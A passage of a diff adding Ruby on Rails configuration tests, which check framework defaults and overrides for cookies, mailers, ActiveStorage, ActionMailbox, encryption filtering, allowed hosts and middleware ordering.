+
+    test "Rails.application.config.action_dispatch.cookies_same_site_protection is :lax can be overridden" do
+      app_file "config/environments/production.rb", <<~RUBY
+        Rails.application.configure do
+          config.action_dispatch.cookies_same_site_protection = :strict
+        end
+      RUBY
+
+      app "production"
+
+      assert_equal :strict, Rails.application.config.action_dispatch.cookies_same_site_protection
+    end
+
+    test "Rails.application.config.action_dispatch.cookies_same_site_protection is :lax in 6.1 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+
+      app "development"
+
+      assert_equal :lax, Rails.application.config.action_dispatch.cookies_same_site_protection
+    end
+
+    test "Rails.application.config.action_dispatch.ssl_default_redirect_status is 308 in 6.1 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+
+      app "production"
+
+      assert_equal 308, Rails.application.config.action_dispatch.ssl_default_redirect_status
+    end
+
+    test "Rails.application.config.action_dispatch.ssl_default_redirect_status can be configured in an initializer" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.0"'
+
+      app_file "config/initializers/new_framework_defaults_6_1.rb", <<-RUBY
+        Rails.application.config.action_dispatch.ssl_default_redirect_status = 308
+      RUBY
+
+      app "production"
+
+      assert_equal 308, Rails.application.config.action_dispatch.ssl_default_redirect_status
+    end
+
+    test "Rails.application.config.action_dispatch.strict_freshness is false by default for older applications" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      app "development"
+
+      assert_equal false, Rails.application.config.action_dispatch.strict_freshness
+    end
+
+    test "Rails.application.config.action_dispatch.strict_freshness can be configured in an initializer" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config <<-RUBY
+        config.action_dispatch.strict_freshness = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActionDispatch::Http::Cache::Request.strict_freshness
+    end
+
+    test "config.action_dispatch.verbose_redirect_logs is true in development" do
+      build_app
+      app "development"
+
+      assert ActionDispatch.verbose_redirect_logs
+    end
+
+    test "config.action_dispatch.verbose_redirect_logs is false in production" do
+      build_app
+      app "production"
+
+      assert_not ActionDispatch.verbose_redirect_logs
+    end
+
+    test "Rails.application.config.action_mailer.smtp_settings have open_timeout and read_timeout defined as 5 in 7.0 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config <<-RUBY
+        config.action_mailer.smtp_settings = { domain: "example.com" }
+        config.load_defaults "7.0"
+      RUBY
+
+      app "development"
+
+      smtp_settings = { domain: "example.com", open_timeout: 5, read_timeout: 5 }
+
+      assert_equal smtp_settings, ActionMailer::Base.smtp_settings
+      assert_equal smtp_settings, Rails.configuration.action_mailer.smtp_settings
+    end
+
+    test "Rails.application.config.action_mailer.smtp_settings does not have open_timeout and read_timeout configured on other versions" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config <<-RUBY
+        config.action_mailer.smtp_settings = { domain: "example.com" }
+      RUBY
+
+      app "development"
+
+      smtp_settings = { domain: "example.com" }
+
+      assert_equal smtp_settings, ActionMailer::Base.smtp_settings
+    end
+
+    test "Rails.application.config.action_mailer.smtp_settings = nil fallback to ActionMailer::Base.smtp_settings" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config <<-RUBY
+        ActionMailer::Base.smtp_settings = { domain: "example.com" }
+        config.load_defaults "7.0"
+      RUBY
+
+      app "development"
+
+      smtp_settings = { domain: "example.com", open_timeout: 5, read_timeout: 5 }
+
+      assert_equal smtp_settings, ActionMailer::Base.smtp_settings
+      assert_nil Rails.configuration.action_mailer.smtp_settings
+    end
+
+    test "Rails.application.config.action_mailer.smtp_settings = nil and ActionMailer::Base.smtp_settings = nil do not configure smtp_timeout" do
+      ActionMailer::Base.smtp_settings = nil
+
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config <<-RUBY
+        config.action_mailer.smtp_settings = nil
+        config.load_defaults "7.0"
+      RUBY
+
+      app "development"
+
+      assert_nil Rails.configuration.action_mailer.smtp_settings
+      assert_nil ActionMailer::Base.smtp_settings
+    end
+
+    test "ActiveSupport.utc_to_local_returns_utc_offset_times is true in 6.1 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+
+      app "development"
+
+      assert_equal true, ActiveSupport.utc_to_local_returns_utc_offset_times
+    end
+
+    test "ActiveSupport.utc_to_local_returns_utc_offset_times is false in 6.0 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.0"'
+
+      app "development"
+
+      assert_equal false, ActiveSupport.utc_to_local_returns_utc_offset_times
+    end
+
+    test "ActiveSupport.utc_to_local_returns_utc_offset_times can be configured in an initializer" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.0"'
+
+      app_file "config/initializers/new_framework_defaults_6_1.rb", <<-RUBY
+        ActiveSupport.utc_to_local_returns_utc_offset_times = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveSupport.utc_to_local_returns_utc_offset_times
+    end
+
+    test "ActiveStorage.queues[:analysis] is :active_storage_analysis by default in 6.0" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.0"'
+
+      app "development"
+
+      assert_equal :active_storage_analysis, ActiveStorage.queues[:analysis]
+    end
+
+    test "ActiveStorage.queues[:analysis] is nil by default in 6.1" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+
+      app "development"
+
+      assert_nil ActiveStorage.queues[:analysis]
+    end
+
+    test "ActiveStorage.queues[:analysis] is nil without Rails 6 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_nil ActiveStorage.queues[:analysis]
+    end
+
+    test "ActiveStorage.queues[:purge] is :active_storage_purge by default in 6.0" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.0"'
+
+      app "development"
+
+      assert_equal :active_storage_purge, ActiveStorage.queues[:purge]
+    end
+
+    test "ActiveStorage.queues[:purge] is nil by default in 6.1" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+
+      app "development"
+
+      assert_nil ActiveStorage.queues[:purge]
+    end
+
+    test "ActiveStorage.queues[:purge] is nil without Rails 6 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_nil ActiveStorage.queues[:purge]
+    end
+
+    test "ActiveStorage.queues[:mirror] is nil without Rails 6 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_nil ActiveStorage.queues[:mirror]
+    end
+
+    test "ActiveStorage.queues[:mirror] is nil by default" do
+      app "development"
+
+      assert_nil ActiveStorage.queues[:mirror]
+    end
+
+    test "ActionCable.server.config.cable is set when missing configuration for the current environment" do
+      quietly do
+        app "missing"
+      end
+
+      assert_kind_of ActiveSupport::HashWithIndifferentAccess, ActionCable.server.config.cable
+    end
+
+    test "action_text.config.attachment_tag_name is 'action-text-attachment' with Rails 6 defaults" do
+      add_to_config 'config.load_defaults "6.1"'
+
+      app "development"
+
+      assert_equal "action-text-attachment", ActionText::Attachment.tag_name
+    end
+
+    test "action_text.config.attachment_tag_name is 'action-text-attachment' without defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal "action-text-attachment", ActionText::Attachment.tag_name
+    end
+
+    test "action_text.config.attachment_tag_name is can be overridden" do
+      add_to_config "config.action_text.attachment_tag_name = 'link'"
+
+      app "development"
+
+      assert_equal "link", ActionText::Attachment.tag_name
+    end
+
+    test "ActionMailbox.logger is Rails.logger by default" do
+      app "development"
+
+      assert_equal Rails.logger, ActionMailbox.logger
+    end
+
+    test "ActionMailbox.logger can be configured" do
+      app_file "lib/my_logger.rb", <<-RUBY
+        require "logger"
+        class MyLogger < ::Logger
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        require "my_logger"
+        config.action_mailbox.logger = MyLogger.new(STDOUT)
+      RUBY
+
+      app "development"
+
+      assert_equal "MyLogger", ActionMailbox.logger.class.name
+    end
+
+    test "ActionMailbox.incinerate_after is 30.days by default" do
+      app "development"
+
+      assert_equal 30.days, ActionMailbox.incinerate_after
+    end
+
+    test "ActionMailbox.incinerate_after can be configured" do
+      add_to_config <<-RUBY
+        config.action_mailbox.incinerate_after = 14.days
+      RUBY
+
+      app "development"
+
+      assert_equal 14.days, ActionMailbox.incinerate_after
+    end
+
+    test "ActionMailbox.queues[:incineration] is :action_mailbox_incineration by default in 6.0" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.0"'
+
+      app "development"
+
+      assert_equal :action_mailbox_incineration, ActionMailbox.queues[:incineration]
+    end
+
+    test "ActionMailbox.queues[:incineration] is nil by default in 6.1" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+
+      app "development"
+
+      assert_nil ActionMailbox.queues[:incineration]
+    end
+
+    test "ActionMailbox.queues[:incineration] can be configured" do
+      add_to_config <<-RUBY
+        config.action_mailbox.queues.incineration = :another_queue
+      RUBY
+
+      app "development"
+
+      assert_equal :another_queue, ActionMailbox.queues[:incineration]
+    end
+
+    test "ActionMailbox.queues[:routing] is :action_mailbox_routing by default in 6.0" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.0"'
+
+      app "development"
+
+      assert_equal :action_mailbox_routing, ActionMailbox.queues[:routing]
+    end
+
+    test "ActionMailbox.queues[:routing] is nil by default in 6.1" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+
+      app "development"
+
+      assert_nil ActionMailbox.queues[:routing]
+    end
+
+    test "ActionMailbox.queues[:routing] can be configured" do
+      add_to_config <<-RUBY
+        config.action_mailbox.queues.routing = :another_queue
+      RUBY
+
+      app "development"
+
+      assert_equal :another_queue, ActionMailbox.queues[:routing]
+    end
+
+    test "ActionMailbox.storage_service is nil by default (default service)" do
+      app "development"
+      assert_nil(ActionMailbox.storage_service)
+    end
+
+    test "ActionMailbox.storage_service can be configured" do
+      add_to_config <<-RUBY
+        config.active_storage.service_configurations = {
+          email: {
+            root: "#{Dir.tmpdir}/email",
+            service: "Disk"
+          }
+        }
+        config.action_mailbox.storage_service = :email
+      RUBY
+      app "development"
+      assert_equal(:email, ActionMailbox.storage_service)
+    end
+
+    test "ActionMailer::Base.delivery_job is ActionMailer::MailDeliveryJob by default" do
+      app "development"
+
+      assert_equal ActionMailer::MailDeliveryJob, ActionMailer::Base.delivery_job
+    end
+
+    test "ActiveRecord::Base.filter_attributes should equal to filter_parameters" do
+      app_file "config/initializers/filter_parameters_logging.rb", <<-RUBY
+        Rails.application.config.filter_parameters += [ :password, :credit_card_number ]
+      RUBY
+      app "development"
+      assert_equal [ :password, :credit_card_number ], Rails.application.config.filter_parameters
+      assert_equal [ :password, :credit_card_number ], ActiveRecord::Base.filter_attributes
+    end
+
+    test "encrypted attributes are added to record's filter_attributes by default" do
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+          encrypts :content
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.enable_reloading = false
+        config.eager_load = true
+      RUBY
+
+      app "production"
+
+      assert_includes Post.filter_attributes, :content
+      assert_not_includes ActiveRecord::Base.filter_attributes, :content
+    end
+
+    test "encrypted attributes are not added to record filter_attributes if disabled" do
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+          encrypts :content
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.enable_reloading = false
+        config.eager_load = true
+
+        config.active_record.encryption.add_to_filter_parameters = false
+      RUBY
+
+      app "production"
+
+      assert_not_includes Post.filter_attributes, :content
+      assert_not_includes ActiveRecord::Base.filter_attributes, :content
+    end
+
+    test "ActiveRecord::Encryption.config is ready when accessed before loading ActiveRecord::Base" do
+      add_to_config <<-RUBY
+        config.enable_reloading = false
+        config.eager_load = false
+
+        config.active_record.encryption.primary_key = "dummy_key"
+        config.active_record.encryption.extend_queries = true
+      RUBY
+
+      app "development"
+
+      # Encryption config is ready to be accessed
+      assert_equal "dummy_key", ActiveRecord::Encryption.config.primary_key
+      assert ActiveRecord::Encryption.config.extend_queries
+
+      # ActiveRecord::Base is not loaded yet (lazy loading preserved)
+      active_record_loaded = ActiveRecord.autoload?(:Base).nil?
+      assert_not active_record_loaded
+
+      # When ActiveRecord::Base loaded, extended queries should be installed
+      assert ActiveRecord::Base.include?(ActiveRecord::Encryption::ExtendedDeterministicQueries::CoreQueries)
+    end
+
+    test "ActiveRecord::Encryption.config is ready for encrypted attributes when app is lazy loaded" do
+      add_to_config <<-RUBY
+        config.enable_reloading = false
+        config.eager_load = false
+      RUBY
+
+      app_file "config/initializers/active_record.rb", <<-RUBY
+        Rails.application.config.active_record.encryption.primary_key = "dummy_key"
+        Rails.application.config.active_record.encryption.previous = [ { key_provider: MyOldKeyProvider.new } ]
+
+        ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+        ActiveRecord::Migration.verbose = false
+        ActiveRecord::Schema.define(version: 1) do
+          create_table :posts do |t|
+            t.string :content
+          end
+        end
+
+        ActiveRecord::Base.schema_cache.add("posts")
+      RUBY
+
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+          encrypts :content, key_provider: MyCustomKeyProvider.new(ActiveRecord::Encryption.config.primary_key)
+        end
+      RUBY
+
+      app "development"
+
+      assert_kind_of ::MyOldKeyProvider, Post.attribute_types["content"].previous_schemes.first.key_provider
+      assert_kind_of ::MyCustomKeyProvider, Post.attribute_types["content"].scheme.key_provider
+      assert_equal "dummy_key", Post.attribute_types["content"].scheme.key_provider.primary_key
+    end
+
+    test "ActiveRecord::Encryption.config is ready for encrypted attributes when app is eager loaded" do
+      add_to_config <<-RUBY
+        config.enable_reloading = false
+        config.eager_load = true
+      RUBY
+
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+          encrypts :content, key_provider: MyCustomKeyProvider.new(ActiveRecord::Encryption.config.primary_key)
+        end
+      RUBY
+
+      app_file "config/initializers/active_record.rb", <<-RUBY
+        Rails.application.config.active_record.encryption.primary_key = "dummy_key"
+        Rails.application.config.active_record.encryption.previous = [ { key_provider: MyOldKeyProvider.new } ]
+
+        ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+        ActiveRecord::Migration.verbose = false
+        ActiveRecord::Schema.define(version: 1) do
+          create_table :posts do |t|
+            t.string :content
+          end
+        end
+
+        ActiveRecord::Base.schema_cache.add("posts")
+      RUBY
+
+      app "production"
+
+      assert_kind_of ::MyOldKeyProvider, Post.attribute_types["content"].previous_schemes.first&.key_provider
+      assert_kind_of ::MyCustomKeyProvider, Post.attribute_types["content"].scheme.key_provider
+      assert_equal "dummy_key", Post.attribute_types["content"].scheme.key_provider.primary_key
+    end
+
+    test "ActiveStorage.routes_prefix can be configured via config.active_storage.routes_prefix" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.active_storage.routes_prefix = '/files'
+        end
+      RUBY
+
+      output = rails("routes", "-g", "active_storage")
+      assert_equal <<~MESSAGE, output
+                               Prefix Verb URI Pattern                                                                        Controller#Action
+                   rails_service_blob GET  /files/blobs/redirect/:signed_id/*filename(.:format)                               active_storage/blobs/redirect#show
+             rails_service_blob_proxy GET  /files/blobs/proxy/:signed_id/*filename(.:format)                                  active_storage/blobs/proxy#show
+                                      GET  /files/blobs/:signed_id/*filename(.:format)                                        active_storage/blobs/redirect#show
+            rails_blob_representation GET  /files/representations/redirect/:signed_blob_id/:variation_key/*filename(.:format) active_storage/representations/redirect#show
+      rails_blob_representation_proxy GET  /files/representations/proxy/:signed_blob_id/:variation_key/*filename(.:format)    active_storage/representations/proxy#show
+                                      GET  /files/representations/:signed_blob_id/:variation_key/*filename(.:format)          active_storage/representations/redirect#show
+                   rails_disk_service GET  /files/disk/:encoded_key/*filename(.:format)                                       active_storage/disk#show
+            update_rails_disk_service PUT  /files/disk/:encoded_token(.:format)                                               active_storage/disk#update
+                 rails_direct_uploads POST /files/direct_uploads(.:format)                                                    active_storage/direct_uploads#create
+      MESSAGE
+    end
+
+    test "ActiveStorage.analyzers default value" do
+      app "development"
+
+      assert_equal [
+        ActiveStorage::Analyzer::ImageAnalyzer::Vips,
+        ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick,
+        ActiveStorage::Analyzer::VideoAnalyzer,
+        ActiveStorage::Analyzer::AudioAnalyzer
+      ], ActiveStorage.analyzers
+    end
+
+    test "ActiveStorage.analyzers can be configured to be an empty array" do
+      add_to_config <<-RUBY
+        config.active_storage.analyzers = []
+      RUBY
+
+      app "development"
+
+      assert_empty ActiveStorage.analyzers
+    end
+
+    test "ActiveStorage.analyzers can be configured to custom analyzers" do
+      add_to_config <<-RUBY
+        config.active_storage.analyzers = [ ActiveStorage::Analyzer::ImageAnalyzer::Vips ]
+      RUBY
+
+      app "development"
+
+      assert_equal [ ActiveStorage::Analyzer::ImageAnalyzer::Vips ], ActiveStorage.analyzers
+    end
+
+    test "ActiveStorage.draw_routes can be configured via config.active_storage.draw_routes" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.active_storage.draw_routes = false
+        end
+      RUBY
+
+      output = rails("routes")
+      assert_not_includes(output, "rails_service_blob")
+      assert_not_includes(output, "rails_blob_representation")
+      assert_not_includes(output, "rails_disk_service")
+      assert_not_includes(output, "update_rails_disk_service")
+      assert_not_includes(output, "rails_direct_uploads")
+    end
+
+    test "ActiveStorage.video_preview_arguments uses the old arguments without Rails 7 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal "-y -vframes 1 -f image2",
+        ActiveStorage.video_preview_arguments
+    end
+
+    test "ActiveStorage.video_preview_arguments uses the new arguments by default" do
+      app "development"
+
+      assert_equal \
+        "-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015),loop=loop=-1:size=2,trim=start_frame=1' -frames:v 1 -f image2",
+        ActiveStorage.video_preview_arguments
+    end
+
+    test "ActiveStorage.variant_processor uses mini_magick without Rails 7 defaults" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal :mini_magick, ActiveStorage.variant_processor
+    end
+
+    test "ActiveStorage.variant_processor uses vips by default" do
+      app "development"
+
+      assert_equal :vips, ActiveStorage.variant_processor
+    end
+
+    test "ActiveStorage.analyzers doesn't contain nil when variant_processor = nil" do
+      add_to_config "config.active_storage.variant_processor = nil"
+
+      app "development"
+
+      assert_not_includes ActiveStorage.analyzers, nil
+    end
+
+    test "ActiveStorage.supported_image_processing_methods can be configured via config.active_storage.supported_image_processing_methods" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/add_image_processing_methods.rb", <<-RUBY
+        Rails.application.config.active_storage.supported_image_processing_methods = ["write", "set"]
+      RUBY
+
+      app "development"
+
+      assert ActiveStorage.supported_image_processing_methods.include?("write")
+      assert ActiveStorage.supported_image_processing_methods.include?("set")
+    end
+
+    test "ActiveStorage.unsupported_image_processing_arguments can be configured via config.active_storage.unsupported_image_processing_arguments" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/add_image_processing_arguments.rb", <<-RUBY
+      Rails.application.config.active_storage.unsupported_image_processing_arguments = %w(
+        -write
+        -danger
+      )
+      RUBY
+
+      app "development"
+
+      assert ActiveStorage.unsupported_image_processing_arguments.include?("-danger")
+      assert_not ActiveStorage.unsupported_image_processing_arguments.include?("-set")
+    end
+
+    test "hosts include .localhost in development" do
+      app "development"
+      assert_includes Rails.application.config.hosts, ".localhost"
+    end
+
+    test "hosts include .test in development" do
+      app "development"
+      assert_includes Rails.application.config.hosts, ".test"
+    end
+
+    test "hosts reads multiple values from RAILS_DEVELOPMENT_HOSTS" do
+      host = "agoodhost.com"
+      another_host = "bananapants.com"
+      switch_development_hosts_to(host, another_host) do
+        app "development"
+        assert_includes Rails.application.config.hosts, host
+        assert_includes Rails.application.config.hosts, another_host
+      end
+    end
+
+    test "hosts reads multiple values from RAILS_DEVELOPMENT_HOSTS and trims white space" do
+      host = "agoodhost.com"
+      host_with_white_space = "  #{host} "
+      another_host = "bananapants.com"
+      another_host_with_white_space = "     #{another_host}"
+      switch_development_hosts_to(host_with_white_space, another_host_with_white_space) do
+        app "development"
+        assert_includes Rails.application.config.hosts, host
+        assert_includes Rails.application.config.hosts, another_host
+      end
+    end
+
+    test "hosts reads from RAILS_DEVELOPMENT_HOSTS" do
+      host = "agoodhost.com"
+      switch_development_hosts_to(host) do
+        app "development"
+        assert_includes Rails.application.config.hosts, host
+      end
+    end
+
+    test "hosts does not read from RAILS_DEVELOPMENT_HOSTS in production" do
+      host = "agoodhost.com"
+      switch_development_hosts_to(host) do
+        app "production"
+        assert_not_includes Rails.application.config.hosts, host
+      end
+    end
+
+    test "disable_sandbox is false by default" do
+      app "development"
+
+      assert_equal false, Rails.configuration.disable_sandbox
+    end
+
+    test "disable_sandbox can be overridden" do
+      add_to_config <<-RUBY
+        config.disable_sandbox = true
+      RUBY
+
+      app "development"
+
+      assert Rails.configuration.disable_sandbox
+    end
+
+    test "rake_eager_load is false by default" do
+      app "development"
+      assert_equal false,  Rails.application.config.rake_eager_load
+    end
+
+    test "rake_eager_load is set correctly" do
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+        config.rake_eager_load = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, Rails.application.config.rake_eager_load
+    end
+
+    test "ActiveSupport::Messages::Codec.default_serializer is :json_allow_marshal by default for new apps" do
+      app "development"
+
+      assert_equal :json_allow_marshal, ActiveSupport::Messages::Codec.default_serializer
+    end
+
+    test "ActiveSupport::Messages::Codec.default_serializer is :marshal by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal :marshal, ActiveSupport::Messages::Codec.default_serializer
+    end
+
+    test "ActiveSupport::Messages::Codec.default_serializer can be configured via config.active_support.message_serializer" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_7_1.rb", <<~RUBY
+        Rails.application.config.active_support.message_serializer = :json_allow_marshal
+      RUBY
+
+      app "development"
+
+      assert_equal :json_allow_marshal, ActiveSupport::Messages::Codec.default_serializer
+    end
+
+    test "ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata is true by default for new apps" do
+      app "development"
+
+      assert ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata
+    end
+
+    test "ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_not ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata
+    end
+
+    test "ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata can be configured via config.active_support.use_message_serializer_for_metadata" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_7_1.rb", <<~RUBY
+        Rails.application.config.active_support.use_message_serializer_for_metadata = true
+      RUBY
+
+      app "development"
+
+      assert ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata
+    end
+
+    test "unknown_asset_fallback is false by default" do
+      app "development"
+
+      assert_equal false, Rails.application.config.assets.unknown_asset_fallback
+    end
+
+    test "action_dispatch.log_rescued_responses is true by default" do
+      app "development"
+
+      assert_equal true, Rails.application.env_config["action_dispatch.log_rescued_responses"]
+    end
+
+    test "action_dispatch.log_rescued_responses can be configured" do
+      add_to_config <<-RUBY
+        config.action_dispatch.log_rescued_responses = false
+      RUBY
+
+      app "development"
+
+      assert_equal false, Rails.application.env_config["action_dispatch.log_rescued_responses"]
+    end
+
+    test "app starts with LocalCache middleware" do
+      app "development"
+
+      assert(Rails.application.config.middleware.map(&:name).include?("ActiveSupport::Cache::Strategy::LocalCache"))
+
+      local_cache_index = Rails.application.config.middleware.map(&:name).index("ActiveSupport::Cache::Strategy::LocalCache")
+      logger_index = Rails.application.config.middleware.map(&:name).index("Rails::Rack::Logger")
+      assert local_cache_index < logger_index
+    end
+
+    test "LocalCache middleware can be moved via app config" do
+      # you can't move Rails.cache.middleware as it doesn't exist yet
+      add_to_config "config.middleware.move_after(Rails::Rack::Logger, ActiveSupport::Cache::Strategy::LocalCache)"
+
+      app "development"
+
+      local_cache_index = Rails.application.config.middleware.map(&:name).index("ActiveSupport::Cache::Strategy::LocalCache")
+      logger_index = Rails.application.config.middleware.map(&:name).index("Rails::Rack::Logger")
+      assert local_cache_index > logger_index
+    end
+
+    test "LocalCache middleware can be moved via initializer" do
+      app_file "config/initializers/move_local_cache_middleware.rb", <<~RUBY
+        Rails.application.config.middleware.move_after(Rails::Rack::Logger, Rails.cache.middleware)
+      RUBY
+
+      app "development"
+
+      local_cache_index = Rails.application.config.middleware.map(&:name).index("ActiveSupport::Cache::Strategy::LocalCache")
+      logger_index = Rails.application.config.middleware.map(&:name).index("Rails::Rack::Logger")
+      assert local_cache_index > logger_index
+    end
+
+    test "LocalCache middleware can be removed via app config" do
+      # you can't delete Rails.cache.middleware as it doesn't exist yet
+      add_to_config "config.middleware.delete(ActiveSupport::Cache::Strategy::LocalCache)"
+
+      app "development"
+
+      assert_not(Rails.application.config.middleware.map(&:name).include?("ActiveSupport::Cache::Strategy::LocalCache"))
+    end
+
+    test "LocalCache middleware can be removed via initializer" do
+      app_file "config/initializers/remove_local_cache_middleware.rb", <<~RUBY
+        Rails.application.config.middleware.delete(Rails.cache.middleware)
+      RUBY
+
+      app "development"
+
+      assert_not(Rails.application.config.middleware.map(&:name).include?("ActiveSupport::Cache::Strategy::LocalCache"))
+    end
+
+    test "custom middleware with overridden names can be added, moved, or deleted" do
+      app_file "config/initializers/add_custom_middleware.rb", <<~RUBY
+        class CustomMiddlewareOne
+          def self.name
+            "1st custom middleware"
+          end
+          def initialize(app, *args); end
+          def new(app); self; end
+        end
+
+        class CustomMiddlewareTwo
+          def initialize(app, *args); end
+          def new(app); self; end
+        end
+
+        class CustomMiddlewareThree
+          def self.name
+            "3rd custom middleware"
+          end
+          def initialize(app, *args); end
+          def new(app); self; end
+        end
+
+        Rails.application.config.middleware.use(CustomMiddlewareOne)
+        Rails.application.config.middleware.use(CustomMiddlewareTwo)
+        Rails.application.config.middleware.use(CustomMiddlewareThree)
+        Rails.application.config.middleware.move_after(CustomMiddlewareTwo, CustomMiddlewareOne)
+        Rails.application.config.middleware.delete(CustomMiddlewareThree)
+      RUBY
+
+      app "development"
+
+      custom_middleware_one = Rails.application.config.middleware.map(&:name).index("1st custom middleware")
+      custom_middleware_two = Rails.application.config.middleware.map(&:name).index("CustomMiddlewareTwo")
+      assert custom_middleware_one > custom_middleware_two
+
+      assert_nil Rails.application.config.middleware.map(&:name).index("3rd custom middleware")
+    end
+
+    test "Rails.application.deprecators includes framework deprecators" do
+      app "production"
+
+      assert_includes Rails.application.deprecators.each, ActiveSupport::Deprecation._instance
+      assert_equal ActionCable.deprecator, Rails.application.deprecators[:action_cable]
+      assert_equal AbstractController.deprecator, Rails.application.deprecators[:action_controller]
+      assert_equal ActionController.deprecator, Rails.application.deprecators[:action_controller]
+      assert_equal ActionDispatch.deprecator, Rails.application.deprecators[:action_dispatch]
+      assert_equal ActionMailbox.deprecator, Rails.application.deprecators[:action_mailbox]
+      assert_equal ActionMailer.deprecator, Rails.application.deprecators[:action_mailer]
+      assert_equal ActionText.deprecator, Rails.application.deprecators[:action_text]
+      assert_equal ActionView.deprecator, Rails.application.deprecators[:action_view]
+      assert_equal ActiveJob.deprecator, Rails.application.deprecators[:active_job]
+      assert_equal ActiveModel.deprecator, Rails.application.deprecators[:active_model]
+      assert_equal ActiveRecord.deprecator, Rails.application.deprecators[:active_record]
+      assert_equal ActiveStorage.deprecator, Rails.application.deprecators[:active_storage]
+      assert_equal ActiveSupport.deprecator, Rails.application.deprecators[:active_support]
+      assert_equal Rails.deprecator, Rails.application.deprecators[:railties]
+    end
+
+    test "can entirely opt out of deprecation warnings" do
+      add_to_config "config.active_support.report_deprecations = false"
+
+      app "production"
+
+      assert_predicate Rails.application.deprecators.each, :any?
+
+      Rails.application.deprecators.each do |deprecator|
+        assert_equal true, deprecator.silenced
+        assert_equal [ActiveSupport::Deprecation::DEFAULT_BEHAVIORS[:silence]], deprecator.behavior
+        assert_equal [ActiveSupport::Deprecation::DEFAULT_BEHAVIORS[:silence]], deprecator.disallowed_behavior
+      end
+    end
+
+    test "ParamsWrapper is enabled in a new app and uses JSON as the format" do
+      app "production"
+
+      assert_equal [:json], ActionController::Base._wrapper_options.format
+    end
+
+    test "ParamsWrapper is enabled in an upgrade and uses JSON as the format" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+
+      app_file "config/initializers/new_framework_defaults_7_0.rb", <<-RUBY
+        Rails.application.config.action_controller.wrap_parameters_by_default = true
+      RUBY
+
+      app "production"
+
+      assert_equal [:json], ActionController::Base._wrapper_options.format
+    end
+
+    test "ParamsWrapper can be changed from the default in the initializer that was created prior to Rails 7" do
+      app_file "config/initializers/wrap_parameters.rb", <<-RUBY
+        ActiveSupport.on_load(:action_controller) do
+          wrap_parameters format: [:xml]
+        end
+      RUBY
+
+      app "production"
+
+      assert_equal [:xml], ActionController::Base._wrapper_options.format
+    end
+
+    test "ParamsWrapper can be turned off" do
+      add_to_config "Rails.application.config.action_controller.wrap_parameters_by_default = false"
+
+      app "production"
+
